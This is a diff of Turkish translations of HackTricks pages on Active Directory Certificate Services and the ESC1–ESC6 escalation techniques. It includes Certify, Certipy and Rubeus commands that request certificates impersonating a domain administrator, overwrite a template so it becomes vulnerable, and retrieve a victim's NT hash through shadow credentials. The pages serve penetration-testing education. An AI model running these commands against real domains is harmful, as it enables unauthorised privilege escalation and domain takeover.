-Windows kullanıcıları ayrıca GUI (`certmgr.msc` veya `certlm.msc`) veya komut satırı araçları (`certreq.exe` veya PowerShell'in `Get-Certificate` komutu) aracılığıyla da sertifika talep edebilirler.
+Windows kullanıcıları ayrıca GUI (`certmgr.msc` veya `certlm.msc`) veya komut satırı araçları (`certreq.exe` veya PowerShell'in `Get-Certificate` komutu) aracılığıyla sertifika talep edebilirler.
 ```bash
 # Example of requesting a certificate using PowerShell
 Get-Certificate -Template "User" -CertStoreLocation "cert:\\CurrentUser\\My"
 ```
-## Certificate Authentication
+## Sertifika Kimlik Doğrulaması
 
-Active Directory (AD), öncelikli olarak **Kerberos** ve **Secure Channel (Schannel)** protokollerini kullanarak sertifika kimlik doğrulamayı destekler.
+Active Directory (AD), öncelikle **Kerberos** ve **Secure Channel (Schannel)** protokollerini kullanarak sertifika ile kimlik doğrulamayı destekler.
 
-### Kerberos Authentication Process
+### Kerberos Kimlik Doğrulama Süreci
 
-Kerberos kimlik doğrulama sürecinde, bir kullanıcının Ticket Granting Ticket (TGT) talebi, kullanıcının sertifikasının **özel anahtarı** ile imzalanır. Bu istek, domain controller tarafından sertifikanın **geçerliliği**, **yolu** ve **iptal durumu** dahil olmak üzere birkaç doğrulamadan geçer. Doğrulamalar ayrıca sertifikanın güvenilir bir kaynaktan geldiğinin ve düzenleyicinin **NTAUTH certificate store** içinde bulunduğunun teyit edilmesini içerir. Başarılı doğrulamalar TGT'nin verilmesiyle sonuçlanır. AD içindeki **`NTAuthCertificates`** nesnesi, şu konumda bulunur:
+Kerberos kimlik doğrulama sürecinde, bir kullanıcının Ticket Granting Ticket (TGT) talebi, kullanıcının sertifikasının **özel anahtarı** ile imzalanır. Bu istek, etki alanı denetleyicisi tarafından sertifikanın **geçerliliği**, **zinciri** ve **iptal durumu** dahil olmak üzere çeşitli doğrulamaya tabi tutulur. Doğrulamalar ayrıca sertifikanın güvenilir bir kaynaktan geldiğinin ve düzenleyenin **NTAUTH certificate store** içinde bulunduğunun teyit edilmesini içerir. Doğrulamaların başarılı olması TGT'nin verilmesiyle sonuçlanır. AD içindeki **`NTAuthCertificates`** objesi, şu konumda bulunur:
 ```bash
 CN=NTAuthCertificates,CN=Public Key Services,CN=Services,CN=Configuration,DC=<domain>,DC=<com>
 ```
-Sertifika kimlik doğrulaması için güvenin kurulmasında merkezi öneme sahiptir.
+sertifika kimlik doğrulaması için güven oluşturmanın merkezindedir.
 
 ### Güvenli Kanal (Schannel) Kimlik Doğrulaması
 
-Schannel, TLS/SSL bağlantılarını kolaylaştırır; el sıkışma sırasında istemci bir sertifika sunar ve bu sertifika başarıyla doğrulanırsa erişimi yetkilendirir. Bir sertifikanın bir AD hesabına eşlenmesi, diğer yöntemlerin yanı sıra Kerberos'un **S4U2Self** fonksiyonunu veya sertifikanın **Subject Alternative Name (SAN)** alanını içerebilir.
+Schannel, bir handshake sırasında istemcinin bir sertifika sunduğu güvenli TLS/SSL bağlantılarını kolaylaştırır; bu sertifika başarıyla doğrulanırsa erişime izin verilir. Bir sertifikanın bir AD hesabına eşlenmesi, Kerberos’un **S4U2Self** işlevini veya sertifikanın **Subject Alternative Name (SAN)**'ını ve diğer yöntemleri içerebilir.
 
-### AD Sertifika Servislerinin Keşfi
+### AD Certificate Services Enumeration
 
-AD'nin sertifika servisleri LDAP sorguları aracılığıyla keşfedilebilir; bu, **Enterprise Certificate Authorities (CAs)** ve yapılandırmaları hakkında bilgi açığa çıkarır. Bu, özel ayrıcalıklara ihtiyaç duymadan etki alanı kimlik doğrulaması yapılmış herhangi bir kullanıcı tarafından erişilebilir. AD CS ortamlarında keşif ve zafiyet değerlendirmesi için **[Certify](https://github.com/GhostPack/Certify)** ve **[Certipy](https://github.com/ly4k/Certipy)** gibi araçlar kullanılır.
+AD'nin certificate services'i LDAP sorguları aracılığıyla enumerate edilebilir; bu, **Enterprise Certificate Authorities (CAs)** ve yapılandırmaları hakkında bilgi açığa çıkarır. Bu, özel ayrıcalık gerektirmeden etki alanında kimliği doğrulanmış herhangi bir kullanıcı tarafından erişilebilir. **[Certify](https://github.com/GhostPack/Certify)** ve **[Certipy](https://github.com/ly4k/Certipy)** gibi araçlar, AD CS ortamlarında enumeration ve zafiyet değerlendirmesi için kullanılır.
 
-Bu araçları kullanmak için komutlar şunlardır:
+Bu araçların kullanımı için komutlar şunları içerir:
 ```bash
 # Enumerate trusted root CA certificates, Enterprise CAs and HTTP enrollment endpoints
 # Useful flags: /domain, /path, /hideAdmins, /showAllPermissions, /skipWebServiceChecks

src/windows-hardening/active-directory-methodology/ad-certificates/domain-escalation.md

@@ -1,44 +1,44 @@
-# AD CS Etki Alanı Yükseltmesi
+# AD CS Domain Escalation
 
 {{#include ../../../banners/hacktricks-training.md}}
 
 
-**Bu, yazıların yükseltme tekniği bölümlerinin bir özetidir:**
+**Bu, aşağıdaki yazıların yükseltme teknikleri bölümlerinin bir özetidir:**
 
 - [https://specterops.io/wp-content/uploads/sites/3/2022/06/Certified_Pre-Owned.pdf](https://specterops.io/wp-content/uploads/sites/3/2022/06/Certified_Pre-Owned.pdf)
 - [https://research.ifcr.dk/certipy-4-0-esc9-esc10-bloodhound-gui-new-authentication-and-request-methods-and-more-7237d88061f7](https://research.ifcr.dk/certipy-4-0-esc9-esc10-bloodhound-gui-new-authentication-and-request-methods-and-more-7237d88061f7)
 - [https://github.com/ly4k/Certipy](https://github.com/ly4k/Certipy)
 
-## Yanlış Yapılandırılmış Sertifika Şablonları - ESC1
+## Misconfigured Certificate Templates - ESC1
 
-### Açıklama
+### Explanation
 
-### Yanlış Yapılandırılmış Sertifika Şablonları - ESC1 Açıklaması
+### Misconfigured Certificate Templates - ESC1 Explained
 
-- **Enrolment hakları Enterprise CA tarafından düşük ayrıcalıklı kullanıcılara verilir.**
-- **Yönetici onayı gerekli değildir.**
-- **Yetkili personelin imzaları gerekli değildir.**
-- **Sertifika şablonlarındaki security descriptors aşırı izinli olup düşük ayrıcalıklı kullanıcıların enrolment hakları almasına olanak tanır.**
-- **Sertifika şablonları kimlik doğrulamayı kolaylaştıran EKU'ları tanımlayacak şekilde yapılandırılmıştır:**
-- Extended Key Usage (EKU) identifier'ları olarak Client Authentication (OID 1.3.6.1.5.5.7.3.2), PKINIT Client Authentication (1.3.6.1.5.2.3.4), Smart Card Logon (OID 1.3.6.1.4.1.311.20.2.2), Any Purpose (OID 2.5.29.37.0) veya EKU olmayan (SubCA) seçenekleri dahil edilmiştir.
-- **İstekçilerin Certificate Signing Request (CSR) içinde bir subjectAltName ekleyebilme yeteneği şablon tarafından izin verilecek şekilde ayarlanmıştır:**
-- Active Directory (AD), bir sertifikadaki subjectAltName (SAN) varsa kimlik doğrulama için SAN'ı önceliklendirir. Bu, bir CSR içinde SAN belirtilerek herhangi bir kullanıcıyı (ör. bir domain administrator) taklit etmek için sertifika talep edilebileceği anlamına gelir. Bir SAN'ın isteyici tarafından belirtilip belirtilemeyeceği, sertifika şablonunun AD objesindeki `mspki-certificate-name-flag` özelliği ile gösterilir. Bu özellik bir bitmask'tir ve `CT_FLAG_ENROLLEE_SUPPLIES_SUBJECT` bayrağının varlığı, isteyici tarafından SAN belirtilmesine izin verir.
+- **Enrolment hakları Enterprise CA tarafından düşük ayrıcalıklı kullanıcılara veriliyor.**
+- **Yönetici onayı gerekli değil.**
+- **Yetkili personelin imzaları gerekmiyor.**
+- **Sertifika şablonları üzerindeki security descriptor'lar aşırı izin verici; bu da düşük ayrıcalıklı kullanıcıların enrolment hakları elde etmesine izin veriyor.**
+- **Sertifika şablonları, kimlik doğrulamayı kolaylaştıran EKU'ları tanımlayacak şekilde yapılandırılmıştır:**
+- Genişletilmiş Anahtar Kullanımı (Extended Key Usage, EKU) tanımlayıcıları olarak Client Authentication (OID 1.3.6.1.5.5.7.3.2), PKINIT Client Authentication (1.3.6.1.5.2.3.4), Smart Card Logon (OID 1.3.6.1.4.1.311.20.2.2), Any Purpose (OID 2.5.29.37.0) veya EKU yok (SubCA) gibi seçenekler dahil edilebilir.
+- **Şablon, istemcinin Certificate Signing Request (CSR) içinde subjectAltName (SAN) eklemesine izin veriyor:**
+- Active Directory (AD), bir sertifikada subjectAltName (SAN) varsa kimlik doğrulama için SAN'ı önceliklendirir. Bu, bir CSR içinde SAN belirtilerek herhangi bir kullanıcıyı (ör. domain administrator) taklit edecek şekilde sertifika talep edilebileceği anlamına gelir. İstemcinin bir SAN belirtip belirtemeyeceği, sertifika şablonunun AD nesnesindeki `mspki-certificate-name-flag` özelliğiyle belirtilir. Bu özellik bir bitmask'tir ve `CT_FLAG_ENROLLEE_SUPPLIES_SUBJECT` flag'inin varlığı, istemcinin SAN belirtmesine izin verir.
 
 > [!CAUTION]
-> Bu yapılandırma, düşük ayrıcalıklı kullanıcıların istedikleri herhangi bir SAN ile sertifika talep etmelerine izin verir; böylece Kerberos veya SChannel aracılığıyla herhangi bir domain principal olarak kimlik doğrulaması yapılabilir.
+> Yapılandırma, düşük ayrıcalıklı kullanıcıların istedikleri herhangi bir SAN ile sertifika talep etmelerine olanak tanır; bu da Kerberos veya SChannel üzerinden herhangi bir domain principal olarak kimlik doğrulamasına imkan verir.
 
-Bu özellik bazen ürünler veya dağıtım servisleri tarafından HTTPS veya host sertifikalarının on-the-fly oluşturulmasını desteklemek için veya yanlış anlama nedeniyle etkinleştirilir.
+Bu özellik bazen ürünlerin veya dağıtım servislerinin HTTPS veya host sertifikalarını anlık olarak üretmesini desteklemek için ya da eksik bilgi nedeniyle etkinleştirilir.
 
-Bu seçeneğe sahip bir sertifika oluşturmanın bir uyarı tetiklediği, var olan bir sertifika şablonu (ör. `WebServer` şablonu, `CT_FLAG_ENROLLEE_SUPPLIES_SUBJECT` etkin olan) çoğaltılıp sonrasında bir authentication OID eklemek için değiştirildiğinde ise bu uyarının oluşmadığı belirtilmiştir.
+Bu seçenekle bir sertifika oluşturmanın bir uyarı tetiklediği, oysa mevcut bir sertifika şablonu (ör. `WebServer` şablonu, `CT_FLAG_ENROLLEE_SUPPLIES_SUBJECT` etkin) kopyalanıp ardından bir authentication OID'si eklenerek değiştirildiğinde bu uyarının oluşmadığı not edilmiştir.
 
-### Kötüye Kullanım
+### Abuse
 
-Zayıf sertifika şablonlarını bulmak için şu komutu çalıştırabilirsiniz:
+Zayıf sertifika şablonlarını **bulmak** için şu komutu çalıştırabilirsiniz:
 ```bash
 Certify.exe find /vulnerable
 certipy find -username john@corp.local -password Passw0rd -dc-ip 172.16.126.128
 ```
-Bu güvenlik açığını **bir yöneticiyi taklit etmek için kötüye kullanmak** amacıyla şunu çalıştırabilirsiniz:
+Bu **zafiyeti kötüye kullanarak bir yöneticiyi taklit etmek** için şunu çalıştırabilirsiniz:
 ```bash
 # Impersonate by setting SAN to a target principal (UPN or sAMAccountName)
 Certify.exe request /ca:dc.domain.local-DC-CA /template:VulnTemplate /altname:administrator@corp.local
@@ -54,14 +54,14 @@ Certify.exe request /ca:dc.domain.local-DC-CA /template:VulnTemplate /altname:ad
 certipy req -username john@corp.local -password Passw0rd! -target-ip ca.corp.local -ca 'corp-CA' \
 -template 'ESC1' -upn 'administrator@corp.local'
 ```
-Daha sonra oluşturulan **sertifikayı `.pfx`** formatına dönüştürebilir ve tekrar **Rubeus veya certipy kullanarak kimlik doğrulaması** yapabilirsiniz:
+Daha sonra oluşturulan **sertifikayı `.pfx` formatına** dönüştürebilir ve bunu **Rubeus veya certipy kullanarak kimlik doğrulaması yapmak** için tekrar kullanabilirsiniz:
 ```bash
 Rubeus.exe asktgt /user:localdomain /certificate:localadmin.pfx /password:password123! /ptt
 certipy auth -pfx 'administrator.pfx' -username 'administrator' -domain 'corp.local' -dc-ip 172.16.19.100
 ```
 Windows ikili dosyaları "Certreq.exe" ve "Certutil.exe" PFX oluşturmak için kullanılabilir: https://gist.github.com/b4cktr4ck2/95a9b908e57460d9958e8238f85ef8ee
 
-AD Forest'ın yapılandırma şemasındaki sertifika şablonlarının, özellikle onay veya imza gerektirmeyen, Client Authentication veya Smart Card Logon EKU'suna sahip ve `CT_FLAG_ENROLLEE_SUPPLIES_SUBJECT` flag'ı etkin olanların listelenmesi aşağıdaki LDAP sorgusunu çalıştırarak yapılabilir:
+AD Forest'ın yapılandırma şemasındaki sertifika şablonlarının, özellikle onay veya imza gerektirmeyen, Client Authentication veya Smart Card Logon EKU'suna sahip ve `CT_FLAG_ENROLLEE_SUPPLIES_SUBJECT` bayrağı etkin olanların listelenmesi, aşağıdaki LDAP sorgusu çalıştırılarak yapılabilir:
 ```
 (&(objectclass=pkicertificatetemplate)(!(mspki-enrollmentflag:1.2.840.113556.1.4.804:=2))(|(mspki-ra-signature=0)(!(mspki-rasignature=*)))(|(pkiextendedkeyusage=1.3.6.1.4.1.311.20.2.2)(pkiextendedkeyusage=1.3.6.1.5.5.7.3.2)(pkiextendedkeyusage=1.3.6.1.5.2.3.4)(pkiextendedkeyusage=2.5.29.37.0)(!(pkiextendedkeyusage=*)))(mspkicertificate-name-flag:1.2.840.113556.1.4.804:=1))
 ```
@@ -69,41 +69,41 @@ AD Forest'ın yapılandırma şemasındaki sertifika şablonlarının, özellikl
 
 ### Açıklama
 
-İkinci kötüye kullanım senaryosu birincinin bir varyasyonudur:
+İkinci suistimal senaryosu birincinin bir varyasyonudur:
 
 1. Enrollment hakları Enterprise CA tarafından düşük ayrıcalıklı kullanıcılara verilir.
 2. Yönetici onayı gereksinimi devre dışı bırakılır.
-3. Yetkili imzalar gereksinimi atlanır.
-4. Sertifika şablonunda aşırı izin veren bir security descriptor, düşük ayrıcalıklı kullanıcılara sertifika enrollment hakları verir.
-5. **The certificate template is defined to include the Any Purpose EKU or no EKU.**
+3. Yetkili imza zorunluluğu atlanır.
+4. Sertifika şablonunda aşırı izinli bir security descriptor, sertifika enrollment haklarını düşük ayrıcalıklı kullanıcılara verir.
+5. **Sertifika şablonu Any Purpose EKU veya no EKU içerir şekilde tanımlanmıştır.**
 
-**Any Purpose EKU**, bir saldırıcının sertifikayı **any purpose** için almasına izin verir; buna **client authentication**, **server authentication**, **code signing** vb. dahildir. Bu senaryoyu sömürmek için aynı **technique used for ESC3** kullanılabilir.
+**Any Purpose EKU**, bir saldırıcının istemci kimlik doğrulaması, sunucu kimlik doğrulaması, kod imzalama vb. dahil olmak üzere **herhangi bir amaç** için sertifika elde etmesine izin verir. Bu senaryoyu istismar etmek için **ESC3**'te kullanılan aynı teknik kullanılabilir.
 
-**no EKUs** içeren sertifikalar, subordinate CA sertifikaları olarak hareket eder, **any purpose** için kötüye kullanılabilir ve **yeni sertifikaları imzalamak için de kullanılabilir**. Bu nedenle bir saldırgan subordinate CA sertifikasını kullanarak yeni sertifikalarda rastgele EKU veya alanlar belirleyebilir.
+No EKUs içeren sertifikalar, subordinate CA sertifikaları olarak davranır, **herhangi bir amaç** için kötüye kullanılabilir ve **yeni sertifikaları imzalamak** için de kullanılabilir. Bu nedenle bir saldırgan, subordinate CA sertifikasını kullanarak yeni sertifikalarda rastgele EKU veya alanlar belirleyebilir.
 
-Ancak subordinate CA, varsayılan ayar olan **`NTAuthCertificates`** nesnesi tarafından trusted değilse, **domain authentication** için oluşturulan yeni sertifikalar çalışmayacaktır. Yine de saldırgan **herhangi bir EKU ile yeni sertifikalar** ve rastgele sertifika değerleri oluşturabilir. Bunlar potansiyel olarak çok çeşitli amaçlar için **abused** edilebilir (ör. **code signing**, **server authentication** vb.) ve SAML, AD FS veya IPSec gibi ağdaki diğer uygulamalar için önemli sonuçları olabilir.
+Ancak, subordinate CA `NTAuthCertificates` nesnesi tarafından güvenilmiyorsa (varsayılan ayar), **domain authentication** için oluşturulan yeni sertifikalar çalışmaz. Yine de, bir saldırgan herhangi bir EKU ve rastgele sertifika değerleri ile **yeni sertifikalar** oluşturabilir. Bunlar kod imzalama, sunucu kimlik doğrulama vb. gibi çeşitli amaçlar için kötüye kullanılabilir ve SAML, AD FS veya IPSec gibi ağdaki diğer uygulamalar için önemli sonuçlara yol açabilir.
 
-AD Forest’ın yapılandırma şemasında bu senaryoya uyan şablonları listelemek için aşağıdaki LDAP sorgusu çalıştırılabilir:
+AD Forest’in yapılandırma şemasında bu senaryoya uyan şablonları listelemek için aşağıdaki LDAP sorgusu çalıştırılabilir:
 ```
 (&(objectclass=pkicertificatetemplate)(!(mspki-enrollmentflag:1.2.840.113556.1.4.804:=2))(|(mspki-ra-signature=0)(!(mspki-rasignature=*)))(|(pkiextendedkeyusage=2.5.29.37.0)(!(pkiextendedkeyusage=*))))
 ```
-## Yanlış Yapılandırılmış Enrolment Agent Şablonları - ESC3
+## Misconfigured Enrolment Agent Templates - ESC3
 
 ### Açıklama
 
-Bu senaryo birinci ve ikinci senaryoya benzer fakat **farklı bir EKU'yu** (Certificate Request Agent) ve **2 farklı şablonu** **kötüye kullanır** (dolayısıyla iki ayrı gereksinim seti vardır),
+Bu senaryo birinci ve ikinci ile benzerdir ancak **farklı bir EKU'yu** (Certificate Request Agent) ve **2 farklı şablonu** **abuse** eder (bu nedenle iki ayrı gereksinim seti vardır),
 
-**Certificate Request Agent EKU** (OID 1.3.6.1.4.1.311.20.2.1), Microsoft dokümantasyonunda **Enrollment Agent** olarak bilinir, bir principalin başka bir kullanıcı adına **enroll** olması için **sertifika** almasına izin verir.
+**Certificate Request Agent EKU** (OID 1.3.6.1.4.1.311.20.2.1), Microsoft belgelerinde **Enrollment Agent** olarak bilinir, bir principalin **başka bir kullanıcı adına** **sertifika** için **enroll** olmasına izin verir.
 
-**“enrollment agent”** böyle bir **şablona** enroll olur ve ortaya çıkan **sertifikayı diğer kullanıcı adına bir CSR'i birlikte imzalamak (co-sign)** için kullanır. Ardından **co-signed CSR'yi** CA'ya **gönderir**, “başkası adına enroll etmeye” izin veren bir **şablona** enroll olur ve CA, “diğer” kullanıcıya ait bir **sertifika** ile yanıt verir.
+“enrollment agent” böyle bir şablona enroll olur ve ortaya çıkan sertifikayı diğer kullanıcı adına bir CSR'yi birlikte imzalamak (co-sign) için kullanır. Ardından ortak imzalanmış CSR'yi CA'ya gönderir, “başkası adına kayıt” (enroll on behalf of) izni veren bir şablona enroll olur ve CA “diğer” kullanıcıya ait bir sertifika ile yanıt verir.
 
 **Gereksinimler 1:**
 
-- Enterprise CA tarafından düşük ayrıcalıklı kullanıcılara enrollment hakları verilir.
+- Enterprise CA, düşük ayrıcalıklı kullanıcılara enrollment hakları verir.
 - Yönetici onayı gerekliliği atlanmıştır.
-- Yetkili imzalar için gereklilik yoktur.
-- Sertifika şablonunun security descriptor'ı aşırı gevşektir; düşük ayrıcalıklı kullanıcılara enrollment hakları verir.
-- Sertifika şablonu Certificate Request Agent EKU'sunu içerir; diğer principal'ler adına diğer sertifika şablonlarının talep edilmesine olanak tanır.
+- Yetkili imzalar için herhangi bir gereklilik yoktur.
+- Sertifika şablonunun güvenlik tanımlayıcısı aşırı derecede izin verir şekilde yapılandırılmıştır; düşük ayrıcalıklı kullanıcılara enrollment hakları verir.
+- Sertifika şablonu Certificate Request Agent EKU'sunu içerir; bu, diğer principal'ler adına diğer sertifika şablonlarının talep edilmesine olanak sağlar.
 
 **Gereksinimler 2:**
 
@@ -113,9 +113,9 @@ Bu senaryo birinci ve ikinci senaryoya benzer fakat **farklı bir EKU'yu** (Cert
 - Sertifika şablonunda tanımlı bir EKU, domain authentication'a izin verir.
 - Enrollment agent'lar için kısıtlamalar CA üzerinde uygulanmamıştır.
 
-### Kötüye Kullanım
+### Abuse
 
-Bu senaryoyu kötüye kullanmak için [**Certify**](https://github.com/GhostPack/Certify) veya [**Certipy**](https://github.com/ly4k/Certipy) kullanabilirsiniz:
+Bu senaryoyu abuse etmek için [**Certify**](https://github.com/GhostPack/Certify) veya [**Certipy**](https://github.com/ly4k/Certipy) kullanabilirsiniz:
 ```bash
 # Request an enrollment agent certificate
 Certify.exe request /ca:DC01.DOMAIN.LOCAL\DOMAIN-CA /template:Vuln-EnrollmentAgent
@@ -129,29 +129,29 @@ certipy req -username john@corp.local -password Pass0rd! -target-ip ca.corp.loca
 # Use Rubeus with the certificate to authenticate as the other user
 Rubeu.exe asktgt /user:CORP\itadmin /certificate:itadminenrollment.pfx /password:asdf
 ```
-The **kullanıcılar** who are allowed to **obtain** an **enrollment agent certificate**, the templates in which enrollment **agents** are permitted to enroll, and the **accounts** on behalf of which the enrollment agent may act can be constrained by enterprise CAs. This is achieved by opening the `certsrc.msc` **snap-in**, **right-clicking on the CA**, **clicking Properties**, and then **navigating** to the “Enrollment Agents” tab.
+The **users** who are allowed to **obtain** an **enrollment agent certificate**, the templates in which enrollment **agents** are permitted to enroll, and the **accounts** on behalf of which the enrollment agent may act can be constrained by enterprise CAs. This is achieved by opening the `certsrc.msc` **snap-in**, **right-clicking on the CA**, **clicking Properties**, and then **navigating** to the “Enrollment Agents” tab.
 
 However, it is noted that the **default** setting for CAs is to “**Do not restrict enrollment agents**.” When the restriction on enrollment agents is enabled by administrators, setting it to “Restrict enrollment agents,” the default configuration remains extremely permissive. It allows **Everyone** access to enroll in all templates as anyone.
 
-## Zayıf Sertifika Şablonu Erişim Kontrolü - ESC4
+## Zayıf Sertifika Şablonu Erişim Denetimi - ESC4
 
 ### **Açıklama**
 
-The **security descriptor** on **certificate templates** defines the **permissions** specific **AD principals** possess concerning the template.
+**Sertifika şablonları** üzerindeki **security descriptor**, şablonla ilgili hangi **AD principals**in hangi **permissions**e sahip olduğunu tanımlar.
 
-Should an **attacker** possess the requisite **permissions** to **alter** a **template** and **institute** any **exploitable misconfigurations** outlined in **prior sections**, privilege escalation could be facilitated.
+Eğer bir **attacker**, bir **şablonu** **değiştirmek** ve önceki bölümlerde belirtilen herhangi bir **sömürülebilir yanlış yapılandırmayı** uygulamak için gerekli **permissions**a sahip olursa, ayrıcalık yükseltme mümkün hale gelebilir.
 
-Notable permissions applicable to certificate templates include:
+Sertifika şablonlarına uygulanabilen dikkat çekici izinler şunlardır:
 
-- **Owner:** Nesne üzerinde örtük kontrol sağlar; herhangi bir özniteliği değiştirmeye izin verir.
-- **FullControl:** Nesne üzerinde tam yetki verir; herhangi bir özniteliği değiştirme kabiliyeti içerir.
-- **WriteOwner:** Nesnenin sahibini saldırganın kontrolündeki bir principal'e değiştirmeye izin verir.
-- **WriteDacl:** Erişim kontrollerini ayarlamaya izin verir; bu, saldırgana FullControl verme potansiyeli taşır.
-- **WriteProperty:** Herhangi bir nesne özelliğini düzenleme yetkisi verir.
+- **Owner:** Nesne üzerinde dolaylı kontrol sağlar; herhangi bir özniteliği değiştirmeye izin verir.
+- **FullControl:** Nesne üzerinde tam yetki verir; herhangi bir özniteliği değiştirme yeteneğini içerir.
+- **WriteOwner:** Nesnenin sahibini attacker kontrolündeki bir principal olarak değiştirmeye izin verir.
+- **WriteDacl:** Erişim denetimlerini ayarlamaya izin verir; potansiyel olarak attacker'a FullControl verebilir.
+- **WriteProperty:** Herhangi bir nesne özelliğinin düzenlenmesine yetki verir.
 
-### Abuse
+### Kötüye Kullanım
 
-To identify principals with edit rights on templates and other PKI objects, enumerate with Certify:
+Şablonlar ve diğer PKI nesneleri üzerinde düzenleme haklarına sahip principal'leri tespit etmek için Certify ile listeleyin:
 ```bash
 Certify.exe find /showAllPermissions
 Certify.exe pkiobjects /domain:corp.local /showAdmins
@@ -160,13 +160,13 @@ Certify.exe pkiobjects /domain:corp.local /showAdmins
 
 <figure><img src="../../../images/image (814).png" alt=""><figcaption></figcaption></figure>
 
-ESC4, bir kullanıcının bir sertifika şablonu üzerinde yazma ayrıcalıklarına sahip olduğu durumdur. Örneğin bu, sertifika şablonunun yapılandırmasını üzerine yazmak için kötüye kullanılabilir ve şablonu ESC1'e karşı savunmasız hale getirebilir.
+ESC4, bir kullanıcının bir sertifika şablonu üzerinde yazma ayrıcalıklarına sahip olduğu durumdur. Bu, örneğin şablonun yapılandırmasını üzerine yazarak şablonu ESC1'e karşı savunmasız hâle getirmek için suistimal edilebilir.
 
-Yukarıdaki yolda gördüğümüz gibi, sadece `JOHNPC` bu ayrıcalıklara sahip, ancak kullanıcı `JOHN`'un `JOHNPC`'ye yeni bir `AddKeyCredentialLink` edge'i var. Bu teknik sertifikalarla ilgili olduğundan, bu saldırıyı da uyguladım; bu saldırı [Shadow Credentials](https://posts.specterops.io/shadow-credentials-abusing-key-trust-account-mapping-for-takeover-8ee1a53566ab) olarak biliniyor. İşte kurbanın NT hash'ini almak için Certipy’s `shadow auto` komutunun küçük bir önizlemesi.
+Yukarıdaki yolda gördüğümüz gibi, yalnızca `JOHNPC` bu ayrıcalıklara sahip, ancak kullanıcı `JOHN`'in `JOHNPC`'ye yeni bir `AddKeyCredentialLink` kenarı var. Bu teknik sertifikalarla ilgili olduğundan, bu saldırıyı da uyguladım; bu yöntem [Shadow Credentials](https://posts.specterops.io/shadow-credentials-abusing-key-trust-account-mapping-for-takeover-8ee1a53566ab) olarak bilinir. İşte kurbanın NT hash'ini almak için Certipy’s `shadow auto` komutunun küçük bir önizlemesi.
 ```bash
 certipy shadow auto 'corp.local/john:Passw0rd!@dc.corp.local' -account 'johnpc'
 ```
-**Certipy** bir sertifika şablonunun yapılandırmasını tek bir komutla üzerine yazabilir. **Varsayılan olarak**, Certipy yapılandırmayı **ESC1'e karşı savunmasız hale getirecek şekilde üzerine yazar**. Ayrıca eski yapılandırmayı kaydetmek için **`-save-old` parametresini** belirtebiliriz; bu, saldırımızdan sonra yapılandırmayı **geri yüklemek** için faydalı olacaktır.
+**Certipy** sertifika şablonunun yapılandırmasını tek bir komutla üzerine yazabilir. By **varsayılan**, Certipy yapılandırmayı **üzerine yazacak** şekilde değiştirir ve bunu **ESC1'e karşı savunmasız** hale getirir. Ayrıca **eski yapılandırmayı kaydetmek için `-save-old` parametresini** belirtebiliriz; bu, saldırımızdan sonra yapılandırmayı **geri yüklemek** için kullanışlı olacaktır.
 ```bash
 # Make template vuln to ESC1
 certipy template -username john@corp.local -password Passw0rd -template ESC4-Test -save-old
@@ -181,21 +181,21 @@ certipy template -username john@corp.local -password Passw0rd -template ESC4-Tes
 
 ### Açıklama
 
-Sertifika şablonları ve sertifika otoritesinin ötesinde birkaç nesneyi içeren, ACL tabanlı ilişkilerin kapsamlı ağı tüm AD CS sisteminin güvenliğini etkileyebilir. Güvenliği önemli ölçüde etkileyebilen bu nesneler şunları kapsar:
+Sertifika şablonları ve certification authority dışında kalan birkaç nesneyi de içeren, ACL tabanlı geniş ve birbirine bağlı ilişkiler ağı tüm AD CS sisteminin güvenliğini etkileyebilir. Güvenliği önemli ölçüde etkileyebilecek bu nesneler şunları kapsar:
 
-- CA sunucusunun S4U2Self veya S4U2Proxy gibi mekanizmalarla ele geçirilebilecek AD computer object'i.
-- CA sunucusunun RPC/DCOM server'ı.
-- Belirli konteyner yolu içinde yer alan herhangi bir alt AD nesnesi veya konteyner: `CN=Public Key Services,CN=Services,CN=Configuration,DC=<DOMAIN>,DC=<COM>`. Bu yol, Certificate Templates container, Certification Authorities container, NTAuthCertificates object ve Enrollment Services Container gibi konteynerler ve nesneler de dahil olmak üzere çeşitli öğeleri içerir.
+- CA sunucusunun AD bilgisayar nesnesi; S4U2Self veya S4U2Proxy gibi mekanizmalarla ele geçirilebilir.
+- CA sunucusunun RPC/DCOM sunucusu.
+- Belirli konteyner yolu `CN=Public Key Services,CN=Services,CN=Configuration,DC=<DOMAIN>,DC=<COM>` içindeki herhangi bir alt düzey AD nesnesi veya konteyner. Bu yol, ancak bunlarla sınırlı olmamak üzere Certificate Templates container, Certification Authorities container, NTAuthCertificates object ve Enrollment Services Container gibi konteyner ve nesneleri içerir.
 
-PKI sisteminin güvenliği, düşük ayrıcalıklı bir saldırgan bu kritik bileşenlerin herhangi birinin kontrolünü ele geçirirse tehlikeye girebilir.
+Düşük ayrıcalıklı bir saldırgan bu kritik bileşenlerden birinin kontrolünü ele geçirirse PKI sisteminin güvenliği tehlikeye girebilir.
 
 ## EDITF_ATTRIBUTESUBJECTALTNAME2 - ESC6
 
 ### Açıklama
 
-[**CQure Academy post**](https://cqureacademy.com/blog/enhanced-key-usage) içinde ele alınan konu ayrıca Microsoft tarafından belirtildiği üzere **`EDITF_ATTRIBUTESUBJECTALTNAME2`** bayrağının etkilerine de değinir. Bu yapılandırma, bir Certification Authority (CA) üzerinde etkinleştirildiğinde, Active Directory®'den oluşturulanlar da dahil olmak üzere **herhangi bir istek** için **subject alternative name** içine **kullanıcı tanımlı değerlerin** eklenmesine izin verir. Sonuç olarak, bu düzenleme bir **saldırganın** alan **authentication** için yapılandırılmış—özellikle standart User template gibi ayrıcalıksız kullanıcıların kayıt olabildiği—**herhangi bir template** üzerinden kayıt olmasına olanak tanır. Böylece bir sertifika elde edilerek saldırganın etki alanı yöneticisi veya etki alanı içindeki **herhangi başka aktif varlık** olarak kimlik doğrulaması yapması mümkün olabilir.
+[**CQure Academy post**](https://cqureacademy.com/blog/enhanced-key-usage) içinde ele alınan konu aynı zamanda Microsoft tarafından belirtilen **`EDITF_ATTRIBUTESUBJECTALTNAME2`** bayrağının etkilerine de değinir. Bu yapılandırma bir Certification Authority (CA) üzerinde etkinleştirildiğinde, Active Directory®'den oluşturulanlar da dahil olmak üzere **herhangi bir istek** için **subject alternative name** içine **kullanıcı tanımlı değerlerin** eklenmesine izin verir. Sonuç olarak, bu düzenleme bir **saldırganın** alan **authentication** için ayarlanmış herhangi bir **template** üzerinden—özellikle standart User template gibi ayrıcalıksız kullanıcı kayıtlarına açık olanlardan—kayıt olmasına imkan tanır. Böylelikle bir sertifika edinilerek saldırgan domain yöneticisi veya etki alanındaki **herhangi bir diğer aktif varlık** olarak kimlik doğrulaması yapabilir.
 
